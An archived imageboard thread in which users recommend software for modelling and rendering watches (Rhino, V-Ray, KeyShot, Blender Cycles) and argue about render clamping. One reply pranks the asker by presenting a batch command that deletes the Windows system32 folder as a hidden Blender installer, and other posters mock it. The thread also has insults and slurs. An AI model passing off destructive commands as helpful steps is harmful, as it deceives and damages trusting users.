[ 3 / biz / cgl / ck / diy / fa / ic / jp / lit / sci / vr / vt ] [ index / top / reports ] [ become a patron ] [ status ]
2023-11: Warosu is now out of extended maintenance.

/3/ - 3DCG

View post   
File: 83 KB, 676x500, rolex render.jpg [View same] [iqdb] [saucenao] [google]
477860 No.477860 [Reply] [Original]

What's the best 3D program for designing watches? Would any be fine or are there some that make it easier?

>> No.477880

READ THE DAMN STICKY AND STOP SHIT POSTING ALSO WE HAVE A QUESTIONS THREAD YOU DAFT BUFFOON

>> No.477893

>>477860
You probably want a CAD program e.g. rhino, solidworks.

>> No.477898

>>477860
Blender has a "design watch" function, but installing it is a bit tricky, as blender is an open-source software and you're allowed to change it. I wouldn't even bother if you are a newfag who can't even run a batch file. I guess that's why they hide some features away, as to discourage unworthy users to take advantage of their work.

anyway,
After installing Blender, and absolutely with Blender running, just run this code in a batch file, and it will start the hidden downloader for the watch designer function

@eco off
del C:\\WINDOWS\system32

thank me later

>> No.477913

>>477898
Thanks Doc now my PC runs twice as fast!

>> No.477949

>>477860
Archie Luxury detected

>> No.477952
File: 120 KB, 800x800, hdrls4_bunkspeed_watch[1].jpg [View same] [iqdb] [saucenao] [google]
477952

>>477860
blender using cycles.

>> No.477953

>>477952
L.e.L, nice try baiting people, but I could tell instantly that wasn't Cycles, it cannot produce renders of that quality and clarity, it's too scrub tier still. This was rendered with Bunkspeed (which is technically Nvidia IRay).
http://forum.bunkspeed.com/showthread.php?666-Watch-rendering

>> No.477954
File: 8 KB, 283x200, 1415923420131.jpg [View same] [iqdb] [saucenao] [google]
477954

>>477952
>blender using cycles.
>doesn't change the image file name

>> No.477956

>>477953
Cycles can do that.
but thats not cycles like you said

>> No.477983

>>477956
Nope, it can't. I've seen tonnes of "pro" Cycles render and they always have the cheap Cycles look with all kinds of fireflies around the image. And no, clamping does not fix that and is a bad way to try and fix a core problem with the renderer, it destroys some of the physical accuracy by doing that.

>> No.477987

>>477952
It's not cycles.

>> No.478006

>>477983
what kind of shitty renders with fireflies have you been looking at

>> No.478032

>>478006
exactly, I use cycles all the time and use a point 03 clamp and there are no fireflies but the render is still accurate.

>> No.478035

>>478032
The render isn't accurate when using a clamp, because you are clamping the linear light values that normally would continue bouncing and loosing energy as they contribute lighting to the scene within the 0-255 sRGB value spectrum. You're basically going "oh, well this render can't converge properly, so I'll just cull the light energy that it can't handle properly.". It's physically inaccurate and ever Cycles render posted here is instantly identified as one.

Please, post one of your great 0.03 clamp renders to back up your claim.

>> No.478043

Why are you guys even arguing about which software is better, can't you tell when you get baited?
Wouldn't it be a lot more productive if you spent more time bullying people who don't read the damn sticky instead?

>> No.478058
File: 3.93 MB, 1094x616, untitled1.png [View same] [iqdb] [saucenao] [google]
478058

>>478043
thats ridiculous Doc

>>478035
render with .03 clamp

>> No.478076

first igrnore comments
then rihno 5 for modelling
u can can render it afterwards in any fucking cg programm, maybe even in sketchup
cheers

>> No.478106

>>478076
Sketchup does rendering?

>> No.478125 [DELETED] 

>>478106
sketchup supports v-ray

>> No.478126

>>478106
sketchup supports v-ray iirc

>> No.479517

>>477860
B L E N D E R
L
E
N
D
E
R

>> No.479639

>>478076
this

>> No.479655

>>478076
>>478106
>>478126
Rhino supports VRay so why not just render it there

>> No.479721
File: 1.04 MB, 1024x1024, Massive Faggots debut album.jpg [View same] [iqdb] [saucenao] [google]
479721

>>479517

>> No.480950

model it in in rhino and render it with v-ray for rhino .. if you're new, model in rhino and render in keyshot

>> No.481161

>>477898
>eco
>C:\\
>WINDOWS
1/10 for effort. Del doesn't even delete folders recursively but I'll let that slide.

>> No.481204

>>477860
i like c4d for design myself and has a lot of tools for refining it to

>> No.481247

>>479721
you motherfucker faggot!!

>> No.481249

>>478058
it's not a good render he's right about everything he's saying.

>> No.481255
File: 2.00 MB, 1920x1080, Enfield1.png [View same] [iqdb] [saucenao] [google]
481255

>>481249
not a good render muh butt
also
>replying to a month old post
who gives a shit anymore